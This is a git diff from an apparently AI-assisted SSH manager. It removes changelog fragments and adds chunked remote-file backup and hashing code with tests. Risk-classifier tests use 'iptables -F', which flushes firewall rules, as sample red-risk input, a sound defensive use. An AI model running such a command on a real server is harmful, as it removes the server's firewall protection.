a/changelog.d/issue-758-chat-jump-button-focus.md b/changelog.d/issue-758-chat-jump-button-focus.md deleted file mode 100644 index 4e4c8f06c..000000000 --- a/changelog.d/issue-758-chat-jump-button-focus.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Keyboard focus in the chat is no longer lost when the "Jump to latest message" button disappears; focus moves to the chat input. diff --git a/changelog.d/issue-767-safety-backup-folder.md b/changelog.d/issue-767-safety-backup-folder.md deleted file mode 100644 index f862e4759..000000000 --- a/changelog.d/issue-767-safety-backup-folder.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- When restoring a backup you can now choose the folder for the safety backup of your current data; it applies to that restore only. diff --git a/changelog.d/issue-770-narrow-keep-as-regular.md b/changelog.d/issue-770-narrow-keep-as-regular.md deleted file mode 100644 index 17a8dccad..000000000 --- a/changelog.d/issue-770-narrow-keep-as-regular.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On narrow screens, "Keep as regular entry" for a copied server or group is now reachable from the "⋯" dialog in the manage view. diff --git a/changelog.d/issue-771-backup-unknown-row-fields.md b/changelog.d/issue-771-backup-unknown-row-fields.md deleted file mode 100644 index 3612e6129..000000000 --- a/changelog.d/issue-771-backup-unknown-row-fields.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Restoring a backup now ignores additional optional fields in server and group entries instead of rejecting the file. diff --git a/changelog.d/issue-772-android-secondary-user-data-dir.md b/changelog.d/issue-772-android-secondary-user-data-dir.md deleted file mode 100644 index ff6a652ad..000000000 --- a/changelog.d/issue-772-android-secondary-user-data-dir.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, the app now stores its data in the correct folder for secondary user profiles, not only for the primary user. diff --git a/changelog.d/issue-773-android-tls-client-no-fallback.md b/changelog.d/issue-773-android-tls-client-no-fallback.md deleted file mode 100644 index 56beb3738..000000000 --- a/changelog.d/issue-773-android-tls-client-no-fallback.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, a failure to set up secure connections for AI requests or speech model downloads is now reported instead of silently using a different connection setup. diff --git a/changelog.d/issue-781-android-keystore-settings-text.md b/changelog.d/issue-781-android-keystore-settings-text.md deleted file mode 100644 index cab36ab69..000000000 --- a/changelog.d/issue-781-android-keystore-settings-text.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, the diagnostics line for the system keyring now explains that the Android Keystore is unavailable and suggests a master password, instead of pointing to a Secret Service. diff --git a/changelog.d/issue-782-android-keystore-debug-switch.md b/changelog.d/issue-782-android-keystore-debug-switch.md deleted file mode 100644 index 66680859d..000000000 --- a/changelog.d/issue-782-android-keystore-debug-switch.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Android debug builds: a marker file in the app data directory lets testers force the Keystore to count as unavailable, to check the master-password setup offer. diff --git a/changelog.d/issue-784-terminal-wake-lock.md b/changelog.d/issue-784-terminal-wake-lock.md deleted file mode 100644 index b64a06eb7..000000000 --- a/changelog.d/issue-784-terminal-wake-lock.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Android: commands typed in the interactive terminal now keep the device awake while the terminal is active (until 60 seconds without input or output). diff --git a/changelog.d/issue-789-change-set-copy-marker.md b/changelog.d/issue-789-change-set-copy-marker.md deleted file mode 100644 index 370cf6002..000000000 --- a/changelog.d/issue-789-change-set-copy-marker.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Integrations applying a change set can now create servers and groups marked as copies; the marker was previously dropped. diff --git a/changelog.d/issue-792-change-set-precondition.md b/changelog.d/issue-792-change-set-precondition.md deleted file mode 100644 index 4bb67cbe7..000000000 --- a/changelog.d/issue-792-change-set-precondition.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- Integrations can now apply a change set only if the data is unchanged since it was read; a concurrent local edit rejects the whole apply with a conflict error. diff --git a/changelog.d/issue-795-android-launch-abort.md b/changelog.d/issue-795-android-launch-abort.md deleted file mode 100644 index 7bfa206c1..000000000 --- a/changelog.d/issue-795-android-launch-abort.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Android: the app no longer aborts right after the splash screen; the credential store (Android Keystore) and the file picker work on first start. diff --git a/changelog.d/issue-796-android-16kb-pages.md b/changelog.d/issue-796-android-16kb-pages.md deleted file mode 100644 index 6ab536056..000000000 --- a/changelog.d/issue-796-android-16kb-pages.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Android: the app now installs and starts on devices with 16 KB memory pages and no longer triggers the compatibility warning. diff --git a/changelog.d/issue-802-android-system-bar-insets.md b/changelog.d/issue-802-android-system-bar-insets.md deleted file mode 100644 index b8ec8c1c0..000000000 --- a/changelog.d/issue-802-android-system-bar-insets.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Android: the header, menu button and bottom buttons are no longer hidden behind the status bar, the gesture bar or the on-screen keyboard. diff --git a/changelog.d/issue-804-appearance-light-mode.md b/changelog.d/issue-804-appearance-light-mode.md deleted file mode 100644 index c25252c14..000000000 --- a/changelog.d/issue-804-appearance-light-mode.md +++ /dev/null @@ -1,2 +0,0 @@ -### Added -- New appearance setting in Settings → Display & Language: System (default), Light or Dark. The terminal, window frame and form controls follow it. diff --git a/changelog.d/issue-815-inserted-secret-confirm.md b/changelog.d/issue-815-inserted-secret-confirm.md deleted file mode 100644 index 7709a4b7e..000000000 --- a/changelog.d/issue-815-inserted-secret-confirm.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- A command into which stored secret values would be inserted right before sending now always asks for confirmation, and a prepared command that changes the approved command's structure is not sent. diff --git a/changelog.d/issue-816-close-session-fully.md b/changelog.d/issue-816-close-session-fully.md deleted file mode 100644 index 43c5d8dcf..000000000 --- a/changelog.d/issue-816-close-session-fully.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Importing a backup while an AI command is running now cancels the command and fully closes the affected sessions, like disconnecting does. diff --git a/changelog.d/issue-829-chat-resubscribe.md b/changelog.d/issue-829-chat-resubscribe.md deleted file mode 100644 index f0fd8007a..000000000 --- a/changelog.d/issue-829-chat-resubscribe.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Changing the AI second opinion setting while a chat answer streams no longer risks losing part of the answer. diff --git a/changelog.d/issue-836-rules-unavailable.md b/changelog.d/issue-836-rules-unavailable.md deleted file mode 100644 index 522e93ecd..000000000 --- a/changelog.d/issue-836-rules-unavailable.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- If the filter rules cannot be loaded (for example the rule database is unreadable), commands now always ask for confirmation instead of running automatically on an allow rule. diff --git a/changelog.d/issue-843-redaction-lookup-failures.md b/changelog.d/issue-843-redaction-lookup-failures.md deleted file mode 100644 index 6613cc313..000000000 --- a/changelog.d/issue-843-redaction-lookup-failures.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- If the app cannot fully load which secret values or server tags apply, it no longer masks less or decides more leniently: it keeps masking what it knew, asks for confirmation instead of running automatically, and shows a notice in the session. diff --git a/changelog.d/issue-852-key-import-dialog-focus.md b/changelog.d/issue-852-key-import-dialog-focus.md deleted file mode 100644 index cbbcf0884..000000000 --- a/changelog.d/issue-852-key-import-dialog-focus.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The prompt that asks whether to import a key file when saving a server now keeps keyboard focus inside it, closes with Escape like "Cancel", and returns focus to the form afterwards. diff --git a/changelog.d/issue-856-risk-settings-backend-write.md b/changelog.d/issue-856-risk-settings-backend-write.md deleted file mode 100644 index 486971608..000000000 --- a/changelog.d/issue-856-risk-settings-backend-write.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The "Always confirm on red risk" and risk second-opinion settings are now saved by the app's backend, which rejects an unknown or missing AI provider. diff --git a/changelog.d/issue-862-ui-preferences-backend-write.md b/changelog.d/issue-862-ui-preferences-backend-write.md deleted file mode 100644 index 1756a0765..000000000 --- a/changelog.d/issue-862-ui-preferences-backend-write.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- The app window can no longer write the settings file directly; all settings are saved by the app's backend, which accepts only known settings with valid values. diff --git a/changelog.d/issue-880-extension-error-isolation.md b/changelog.d/issue-880-extension-error-isolation.md deleted file mode 100644 index 1e3e085bb..000000000 --- a/changelog.d/issue-880-extension-error-isolation.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- A faulty extension contribution no longer blanks the whole window: only that item disappears. -- An unexpected interface error now shows a recovery screen with a Reload button instead of an empty window. diff --git a/changelog.d/issue-881-session-tasks-end-on-close.md b/changelog.d/issue-881-session-tasks-end-on-close.md deleted file mode 100644 index 07c2d6bc6..000000000 --- a/changelog.d/issue-881-session-tasks-end-on-close.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Closing a session now stops everything still running for it in the background. diff --git a/changelog.d/issue-883-session-not-found.md b/changelog.d/issue-883-session-not-found.md deleted file mode 100644 index a81c1a7a8..000000000 --- a/changelog.d/issue-883-session-not-found.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Using a session that is no longer open now shows a message in your language, with a hint to open it again, instead of a German error text. diff --git a/changelog.d/issue-903-unique-message-order.md b/changelog.d/issue-903-unique-message-order.md deleted file mode 100644 index fbd17434d..000000000 --- a/changelog.d/issue-903-unique-message-order.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Chat messages, ledger entries and prompt history written at the same moment can no longer end up with a duplicated order number or an over-full history. diff --git a/changelog.d/issue-905-bus-replay.md b/changelog.d/issue-905-bus-replay.md deleted file mode 100644 index 03c8f059d..000000000 --- a/changelog.d/issue-905-bus-replay.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Notices and "requires Pro" dialogs raised during startup are no longer lost; they appear once the app is ready. diff --git a/changelog.d/issue-910-german-ollama-hint.md b/changelog.d/issue-910-german-ollama-hint.md deleted file mode 100644 index 8eb20d6cd..000000000 --- a/changelog.d/issue-910-german-ollama-hint.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The German hint for loading an Ollama model now shows the command `ollama pull ` correctly. diff --git a/changelog.d/issue-914-menu-keyboard.md b/changelog.d/issue-914-menu-keyboard.md deleted file mode 100644 index 0c8017471..000000000 --- a/changelog.d/issue-914-menu-keyboard.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- Context and dropdown menus can now be navigated with the arrow keys, Home and End. diff --git a/changelog.d/issue-921-transfer-does-not-block-browser.md b/changelog.d/issue-921-transfer-does-not-block-browser.md deleted file mode 100644 index 93b9413b2..000000000 --- a/changelog.d/issue-921-transfer-does-not-block-browser.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- A running download or upload no longer blocks browsing, previews or AI file reads of the same server. diff --git a/changelog.d/issue-922-bounded-output-streams.md b/changelog.d/issue-922-bounded-output-streams.md deleted file mode 100644 index 8ee86fd26..000000000 --- a/changelog.d/issue-922-bounded-output-streams.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Commands and terminals that print a lot of output no longer make memory grow without limit or flood the interface; the live view of a command may stop with a size notice while the result stays complete. diff --git a/changelog.d/issue-923-disconnect-during-probe.md b/changelog.d/issue-923-disconnect-during-probe.md deleted file mode 100644 index f3435d40b..000000000 --- a/changelog.d/issue-923-disconnect-during-probe.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Disconnecting a session while the elevated-access check is running no longer waits for the check to finish. diff --git a/changelog.d/issue-925-android-backup-files.md b/changelog.d/issue-925-android-backup-files.md deleted file mode 100644 index 3379e35ca..000000000 --- a/changelog.d/issue-925-android-backup-files.md +++ /dev/null @@ -1,3 +0,0 @@ -### Fixed -- Android: restoring and creating an encrypted backup now works with files from the system file picker (Downloads, Drive). -- A failed file choice in the restore dialog now stays visible and offers "Choose file again". diff --git a/changelog.d/issue-935-android-crypto-provider.md b/changelog.d/issue-935-android-crypto-provider.md deleted file mode 100644 index 172b4fa79..000000000 --- a/changelog.d/issue-935-android-crypto-provider.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- Android: connecting to a server and AI/model-download requests no longer fail with a TLS crypto-provider panic. diff --git a/changelog.d/issue-944-android-startup-choices.md b/changelog.d/issue-944-android-startup-choices.md deleted file mode 100644 index e93c05990..000000000 --- a/changelog.d/issue-944-android-startup-choices.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, when the database or its key cannot be used at launch, the app now shows the same recovery choices as on the desktop instead of closing. diff --git a/changelog.d/issue-956-android-bars-appearance.md b/changelog.d/issue-956-android-bars-appearance.md deleted file mode 100644 index 9f754370e..000000000 --- a/changelog.d/issue-956-android-bars-appearance.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- On Android, the status and navigation bars and the area behind them now follow the appearance setting, with readable icons in light mode. diff --git a/changelog.d/issue-962-android-light-starting-window.md b/changelog.d/issue-962-android-light-starting-window.md deleted file mode 100644 index 06bdd3cea..000000000 --- a/changelog.d/issue-962-android-light-starting-window.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- On Android, the window shown while the app starts is now light on devices using the light system theme instead of flashing dark. diff --git a/changelog.d/issue-978-connect-tree-chevrons.md b/changelog.d/issue-978-connect-tree-chevrons.md deleted file mode 100644 index 807c9fad3..000000000 --- a/changelog.d/issue-978-connect-tree-chevrons.md +++ /dev/null @@ -1,3 +0,0 @@ -### Changed -- The Connect view's server tree shows larger expand/collapse arrows and indents servers under their folder's icon. -- The Connect view's tree no longer has "+" and "⋯" buttons on folder and server rows; create and move servers in the Manage view. diff --git a/changelog.d/issue-979-narrow-menu-no-overview.md b/changelog.d/issue-979-narrow-menu-no-overview.md deleted file mode 100644 index 8102558f9..000000000 --- a/changelog.d/issue-979-narrow-menu-no-overview.md +++ /dev/null @@ -1,2 +0,0 @@ -### Changed -- The narrow-window menu no longer has a separate Overview entry; the shown view (Connect, Manage or Filter Rules) is marked as current. diff --git a/changelog.d/issue-980-android-launcher-icon.md b/changelog.d/issue-980-android-launcher-icon.md deleted file mode 100644 index 85d5ddcc4..000000000 --- a/changelog.d/issue-980-android-launcher-icon.md +++ /dev/null @@ -1,2 +0,0 @@ -### Fixed -- The Android app now shows the Smart SSH logo as its launcher icon instead of the default icon. diff --git a/changelog.d/security-edit-session-cleanup-path.md b/changelog.d/security-edit-session-cleanup-path.md deleted file mode 100644 index 22f3e74d6..000000000 --- a/changelog.d/security-edit-session-cleanup-path.md +++ /dev/null @@ -1,3 +0,0 @@ -### Security -- Closing an edit session now only removes files inside the session's edit folder; a path - that leads out of it (for example with `..`) is refused. diff --git a/changelog.d/security-netrc-redaction.md b/changelog.d/security-netrc-redaction.md deleted file mode 100644 index a5c2c2df1..000000000 --- a/changelog.d/security-netrc-redaction.md +++ /dev/null @@ -1,2 +0,0 @@ -### Security -- Passwords in `.netrc` entries are now masked before output reaches the AI in every valid layout; some layouts were not masked before. diff --git a/crates/app-logic/src/orchestration/action_exec/risk.rs b/crates/app-logic/src/orchestration/action_exec/risk.rs index 455070baf..470cd6caa 100644 --- a/crates/app-logic/src/orchestration/action_exec/risk.rs +++ b/crates/app-logic/src/orchestration/action_exec/risk.rs @@ -176,9 +176,10 @@ pub(super) fn risk_assessment_for_action(action: &AiAction) -> Option (Option, Option) { + let transport = MockSshTransport::default() + .with_prefix_response("sudo -S cp -p ", output("")) + .with_prefix_response("sudo -S install -m ", output("")); + let mut session = session_allowing_all(transport); + if sudo { + session + .set_sudo_password_for_tests(Some(secrecy::SecretString::from("hunter2".to_string()))); + } + let (session, rx) = observed(session); + session.set_sftp_for_tests(Box::new(sftp.clone())).await; + let emitter = TestEmitter::default(); + let confirmations = ConfirmationRegistry::new(); + tokio::join!( + propose( + &session, + AiAction::WriteRemoteFile { + path: path.to_string(), + content: "new".to_string(), + }, + ActionOrigin::Internal, + &emitter, + &confirmations, + Uuid::new_v4(), + ), + approve_first_proposed_action(&emitter, &confirmations) + ); + let events = take(&rx, 2); + let ActivityEventKind::FileWritten { + backup_path, + sha256_before, + .. + } = &events[1].kind + else { + panic!("{events:?}") + }; + (backup_path.clone(), sha256_before.clone()) +} + +fn sha256_of(bytes: &[u8]) -> String { + use sha2::{Digest, Sha256}; + Sha256::digest(bytes) + .iter() + .map(|b| format!("{b:02x}")) + .collect() +} + +/// Issue #1714: the backup of a file larger than one chunk is a byte-exact +/// copy, `sha256_before` is the hash of the original, and the old file is +/// never read in one piece. +#[tokio::test] +async fn test_backup_of_a_multi_chunk_file_is_exact_and_read_in_bounded_pieces() { + let path = "/home/deploy/big.bin"; + let original: Vec = (0..(2 * 256 * 1024 + 123)) + .map(|i| (i % 251) as u8) + .collect(); + let sftp = MockSftpSession::new().with_file(path, original.clone()); + let (backup, before) = confirmed_write(&sftp, path, false).await; + let backup = backup.expect("backup path"); + assert_eq!(sftp.file_content(&backup), Some(original.clone())); + assert_eq!(before, Some(sha256_of(&original))); + let calls = sftp.calls(); + assert!( + !calls.iter().any(|c| c.starts_with("read_file ")), + "{calls:?}" + ); + assert!( + calls.iter().filter(|c| c.starts_with("read_range")).count() >= 3, + "{calls:?}" + ); +} + +/// Issue #1714: an empty existing file still gets an (empty) backup. +#[tokio::test] +async fn test_backup_of_an_empty_file_is_an_empty_file() { + let path = "/home/deploy/empty.conf"; + let sftp = MockSftpSession::new().with_file(path, Vec::new()); + let (backup, before) = confirmed_write(&sftp, path, false).await; + assert_eq!(sftp.file_content(&backup.unwrap()), Some(Vec::new())); + assert_eq!(before, Some(sha256_of(b""))); +} + +/// Issue #1714: a read error during the backup fails the write before the +/// target is touched. +#[tokio::test] +async fn test_backup_read_error_leaves_the_target_untouched() { + let path = "/home/deploy/app.conf"; + let sftp = MockSftpSession::new() + .with_file(path, b"old".to_vec()) + .with_read_failure(path); + let session = session_allowing_all(MockSshTransport::default()); + let (session, _rx) = observed(session); + session.set_sftp_for_tests(Box::new(sftp.clone())).await; + let emitter = TestEmitter::default(); + let confirmations = ConfirmationRegistry::new(); + tokio::join!( + propose( + &session, + AiAction::WriteRemoteFile { + path: path.to_string(), + content: "new".to_string(), + }, + ActionOrigin::Internal, + &emitter, + &confirmations, + Uuid::new_v4(), + ), + approve_first_proposed_action(&emitter, &confirmations) + ); + assert_eq!(sftp.file_content(path), Some(b"old".to_vec())); +} + +/// Issue #1714: the sudo fallback hashes the old content from a chunked read. +#[tokio::test] +async fn test_sudo_fallback_hashes_the_old_file_from_a_chunked_read() { + let path = "/etc/app.conf"; + let original: Vec = (0..(256 * 1024 + 7)).map(|i| (i % 241) as u8).collect(); + let sftp = MockSftpSession::new() + .with_file(path, original.clone()) + .with_permission_denied(path); + let (_, before) = confirmed_write(&sftp, path, true).await; + assert_eq!(before, Some(sha256_of(&original))); + let calls = sftp.calls(); + assert!( + calls.contains(&format!("read_file_chunked {path}")), + "{calls:?}" + ); + assert!( + !calls.iter().any(|c| c.starts_with("read_file ")), + "{calls:?}" + ); +} + +/// Issue #1714: a read error in the sudo fallback leaves `sha256_before` +/// `None` and the write still proceeds. +#[tokio::test] +async fn test_sudo_fallback_read_error_leaves_the_hash_none_and_still_writes() { + let path = "/etc/app.conf"; + let sftp = MockSftpSession::new() + .with_file(path, b"old".to_vec()) + .with_permission_denied(path) + .with_read_failure(path); + let (backup, before) = confirmed_write(&sftp, path, true).await; + assert!(backup.is_some()); + assert_eq!(before, None); +} + +/// Issue #1714: a file that yields more bytes than `stat` reported (grown, +/// endless special file) fails the write, leaves no backup and the target +/// untouched. +#[tokio::test] +async fn test_backup_of_a_file_larger_than_its_stat_size_fails_and_leaves_no_backup() { + let path = "/home/deploy/zero"; + let sftp = MockSftpSession::new() + .with_file(path, vec![0u8; 3 * 256 * 1024]) + .with_reported_size(path, 0); + let session = session_allowing_all(MockSshTransport::default()); + let (session, _rx) = observed(session); + session.set_sftp_for_tests(Box::new(sftp.clone())).await; + let emitter = TestEmitter::default(); + let confirmations = ConfirmationRegistry::new(); + tokio::join!( + propose( + &session, + AiAction::WriteRemoteFile { + path: path.to_string(), + content: "new".to_string(), + }, + ActionOrigin::Internal, + &emitter, + &confirmations, + Uuid::new_v4(), + ), + approve_first_proposed_action(&emitter, &confirmations) + ); + assert_eq!(sftp.file_content(path), Some(vec![0u8; 3 * 256 * 1024])); + let calls = sftp.calls(); + assert!( + !calls.iter().any(|c| c.starts_with("write_file ")), + "{calls:?}" + ); + assert!( + sftp.paths() + .iter() + .all(|p| !p.contains(".smartssh-backup-")), + "{:?}", + sftp.paths() + ); +} + +/// Issue #1714: `write_range` creates the backup before it can fail, so a +/// failure on the very first chunk must not leave a partial backup either. +#[tokio::test] +async fn test_backup_failing_on_the_first_write_removes_the_partial_backup() { + let path = "/home/deploy/first.bin"; + let sftp = MockSftpSession::new() + .with_file(path, b"old".to_vec()) + .with_write_range_failure_containing(".smartssh-backup-"); + let session = session_allowing_all(MockSshTransport::default()); + let (session, _rx) = observed(session); + session.set_sftp_for_tests(Box::new(sftp.clone())).await; + let emitter = TestEmitter::default(); + let confirmations = ConfirmationRegistry::new(); + tokio::join!( + propose( + &session, + AiAction::WriteRemoteFile { + path: path.to_string(), + content: "new".to_string(), + }, + ActionOrigin::Internal, + &emitter, + &confirmations, + Uuid::new_v4(), + ), + approve_first_proposed_action(&emitter, &confirmations) + ); + assert_eq!(sftp.file_content(path), Some(b"old".to_vec())); + assert!( + sftp.paths() + .iter() + .all(|p| !p.contains(".smartssh-backup-")), + "{:?}", + sftp.paths() + ); +} + +/// Issue #1714: a failure on a later chunk removes the partial backup. +#[tokio::test] +async fn test_backup_failing_on_a_later_chunk_removes_the_partial_backup() { + let path = "/home/deploy/big.bin"; + let sftp = MockSftpSession::new() + .with_file(path, vec![7u8; 2 * 256 * 1024 + 5]) + .with_read_failure_after(path, 1); + let session = session_allowing_all(MockSshTransport::default()); + let (session, _rx) = observed(session); + session.set_sftp_for_tests(Box::new(sftp.clone())).await; + let emitter = TestEmitter::default(); + let confirmations = ConfirmationRegistry::new(); + tokio::join!( + propose( + &session, + AiAction::WriteRemoteFile { + path: path.to_string(), + content: "new".to_string(), + }, + ActionOrigin::Internal, + &emitter, + &confirmations, + Uuid::new_v4(), + ), + approve_first_proposed_action(&emitter, &confirmations) + ); + let calls = sftp.calls(); + assert!( + calls.iter().any(|c| c.starts_with("write_range ")), + "first chunk was written: {calls:?}" + ); + assert!( + calls.iter().any(|c| c.starts_with("remove ")), + "partial backup removed: {calls:?}" + ); + assert_eq!( + sftp.file_content(path).map(|c| c.len()), + Some(2 * 256 * 1024 + 5) + ); + assert!( + sftp.paths() + .iter() + .all(|p| !p.contains(".smartssh-backup-")), + "{:?}", + sftp.paths() + ); +} diff --git a/crates/app-logic/src/orchestration/action_exec/tests_not_assessable.rs b/crates/app-logic/src/orchestration/action_exec/tests_not_assessable.rs index c0f3d32d4..99966f089 100644 --- a/crates/app-logic/src/orchestration/action_exec/tests_not_assessable.rs +++ b/crates/app-logic/src/orchestration/action_exec/tests_not_assessable.rs @@ -232,7 +232,10 @@ async fn test_deny_stays_deny_for_not_assessable_command() { #[test] fn test_overlong_command_maps_to_not_assessable_code() { // „€" sind 3 Bytes, 1 Zeichen. - let command = format!("iptables -F -m comment --comment \"{}\"", "€".repeat(1400)); + let command = format!( + "iptables -F -m comment --comment \"{}\"", + "€".repeat(ssh_manager_core::filter::DEFAULT_MAX_COMMAND_LENGTH / 3 + 1) + ); assert!(ssh_manager_core::filter::exceeds_command_length_limit( &command, ssh_manager_core::filter::DEFAULT_MAX_COMMAND_LENGTH diff --git a/crates/app-logic/src/orchestration/action_exec/tests_red_risk.rs b/crates/app-logic/src/orchestration/action_exec/tests_red_risk.rs index b9eb0a0ad..6c580274a 100644 --- a/crates/app-logic/src/orchestration/action_exec/tests_red_risk.rs +++ b/crates/app-logic/src/orchestration/action_exec/tests_red_risk.rs @@ -639,20 +639,28 @@ async fn test_t17_multiline_script_with_one_red_line_is_escalated() { /// Rot-Glieds bleibt als Tiefenverteidigung und wird unten direkt geprüft. fn overlong_multibyte_red_command() -> String { // „€" sind 3 Bytes, 1 Zeichen. - format!("iptables -F -m comment --comment \"{}\"", "€".repeat(1400)) + format!( + "iptables -F -m comment --comment \"{}\"", + "€".repeat(ssh_manager_core::filter::DEFAULT_MAX_COMMAND_LENGTH / 3 + 1) + ) } -/// spec-reviewer-Fund (Runde 1), adversarialer Fall 7: Der Klassifizierer -/// liefert für Überlänge `None`/`None` — „nicht geprüft", nicht „unauffällig". -/// Das Glied muss das selbst als rot behandeln, statt sich darauf zu -/// verlassen, dass ein Nachbarglied zufällig ebenfalls eskaliert. +/// spec-reviewer-Fund (Runde 1), adversarialer Fall 7: Über der Länge +/// bewertet der Klassifizierer nur naive Teilstücke — „nicht vollständig +/// geprüft", nicht „unauffällig". Das Glied muss das selbst als rot +/// behandeln, statt sich darauf zu verlassen, dass ein Nachbarglied zufällig +/// ebenfalls eskaliert. Deshalb ein Kommando, dessen Teilstücke unauffällig +/// sind. /// /// Issue #110: Die Filter-Engine misst seither ebenfalls in Bytes, das /// Kommando ist also auch für sie zu lang. Der Test ruft das Glied deshalb /// direkt auf und belegt den Fail-safe unabhängig von der Filter-Engine. #[test] fn test_overlong_pseudo_command_is_treated_as_red() { - let command = overlong_multibyte_red_command(); + let command = format!( + "echo \"{}\"", + "€".repeat(ssh_manager_core::filter::DEFAULT_MAX_COMMAND_LENGTH / 3 + 1) + ); assert!( ssh_manager_core::filter::exceeds_command_length_limit( &command, @@ -668,7 +676,7 @@ fn test_overlong_pseudo_command_is_treated_as_red() { assert_eq!( assessment.server_risk, RiskLevel::None, - "Vorbedingung: der Klassifizierer steigt aus und meldet nichts" + "Vorbedingung: die Teilstücke sind unauffällig" ); assert!( red_risk_reason(Some(&assessment)).is_none(), diff --git a/crates/app-logic/src/orchestration/remote_files.rs b/crates/app-logic/src/orchestration/remote_files.rs index 3bf1d2d51..e99b9ccc1 100644 --- a/crates/app-logic/src/orchestration/remote_files.rs +++ b/crates/app-logic/src/orchestration/remote_files.rs @@ -37,12 +37,17 @@ pub(crate) const MAX_PREVIEW_FILE_BYTES: u64 = 1024 * 1024; /// record keeps instead of the content itself (Spec 0057). fn sha256_hex(bytes: &[u8]) -> String { use sha2::{Digest, Sha256}; - Sha256::digest(bytes) - .iter() - .map(|b| format!("{b:02x}")) - .collect() + hex_of_digest(Sha256::digest(bytes).as_slice()) } +fn hex_of_digest(digest: &[u8]) -> String { + digest.iter().map(|b| format!("{b:02x}")).collect() +} + +/// Chunk size for reading an existing remote file (backup copy, "before" +/// hash): memory use is bounded by this, never by the file size. +const OLD_CONTENT_CHUNK_BYTES: usize = 256 * 1024; + /// What a successful write leaves for the activity record. `sha256_before` /// is `None` when the old content was not read (new file, or only readable /// with elevated rights). @@ -341,6 +346,98 @@ fn backup_path_for(path: &str) -> String { ) } +/// Copies `path` to `backup` in chunks of [`OLD_CONTENT_CHUNK_BYTES`] and +/// returns the SHA-256 (hex) of the bytes copied. The copy is bounded by +/// `size` (the `stat` size of `path`): a file that yields more bytes (grew, +/// endless special file) fails the copy instead of filling the server's disk. +/// Any read or write error aborts the copy; a partial backup is removed +/// best-effort so it is never mistaken for a complete one. +async fn copy_to_backup( + sftp: &mut dyn ssh_manager_core::ssh::SftpSession, + path: &str, + backup: &str, + size: u64, +) -> Result { + let mut created = false; + let result = copy_to_backup_inner(sftp, path, backup, size, &mut created).await; + if result.is_err() && created { + // Best effort: the original error is what the caller needs. + let _ = sftp.remove(backup).await; + } + result +} + +async fn copy_to_backup_inner( + sftp: &mut dyn ssh_manager_core::ssh::SftpSession, + path: &str, + backup: &str, + size: u64, + created: &mut bool, +) -> Result { + use sha2::{Digest, Sha256}; + let mut hasher = Sha256::new(); + let mut offset: u64 = 0; + loop { + let remaining = size.saturating_sub(offset); + if remaining == 0 { + // One probe byte: anything more means the file is not the size + // `stat` reported. + if !sftp.read_range(path, offset, 1).await?.is_empty() { + return Err(SshError::ChannelError(format!( + "'{path}' is larger than its reported size; backup aborted" + ))); + } + break; + } + let want = usize::try_from(remaining) + .unwrap_or(usize::MAX) + .min(OLD_CONTENT_CHUNK_BYTES); + let chunk = sftp.read_range(path, offset, want).await?; + if chunk.is_empty() { + // The file shrank since `stat`: back up what is there. + break; + } + hasher.update(&chunk); + // Mark before writing: `write_range(.., true)` creates/truncates the + // file even when the write itself then fails. + let truncate = !*created; + *created = true; + sftp.write_range(backup, offset, &chunk, truncate).await?; + offset += chunk.len() as u64; + } + if !*created { + // An empty file still gets an (empty) backup. + *created = true; + sftp.write_range(backup, 0, &[], true).await?; + } + Ok(hex_of_digest(hasher.finalize().as_slice())) +} + +/// SHA-256 (hex) of `path`, read in chunks and bounded by `size` (the `stat` +/// size): `None` when the read fails or yields more than `size` bytes (grown +/// or endless file), so the hash never claims to cover content it did not. +async fn hash_old_content( + sftp: &mut dyn ssh_manager_core::ssh::SftpSession, + path: &str, + size: u64, +) -> Option { + use sha2::{Digest, Sha256}; + use ssh_manager_core::ssh::{ChunkControl, TransferEnd}; + let mut hasher = Sha256::new(); + let mut total: u64 = 0; + let end = sftp + .read_file_chunked(path, OLD_CONTENT_CHUNK_BYTES, &mut |chunk| { + total += chunk.len() as u64; + if total > size { + return ChunkControl::Stop; + } + hasher.update(chunk); + ChunkControl::Continue + }) + .await; + matches!(end, Ok(TransferEnd::Completed)).then(|| hex_of_digest(hasher.finalize().as_slice())) +} + /// Regulärer (nicht-privilegierter) Schreibversuch per SFTP: Backup (falls /// die Datei existiert) + eigentliches Schreiben, in dieser Reihenfolge /// (Spec 0020, Abschnitt 4.2, Punkt 4: "vor jedem Überschreiben"). Gibt den @@ -352,6 +449,7 @@ async fn write_via_sftp_with_backup( path: &str, content: &str, existed: bool, + old_size: Option, ) -> Result { let backup_path = if existed { 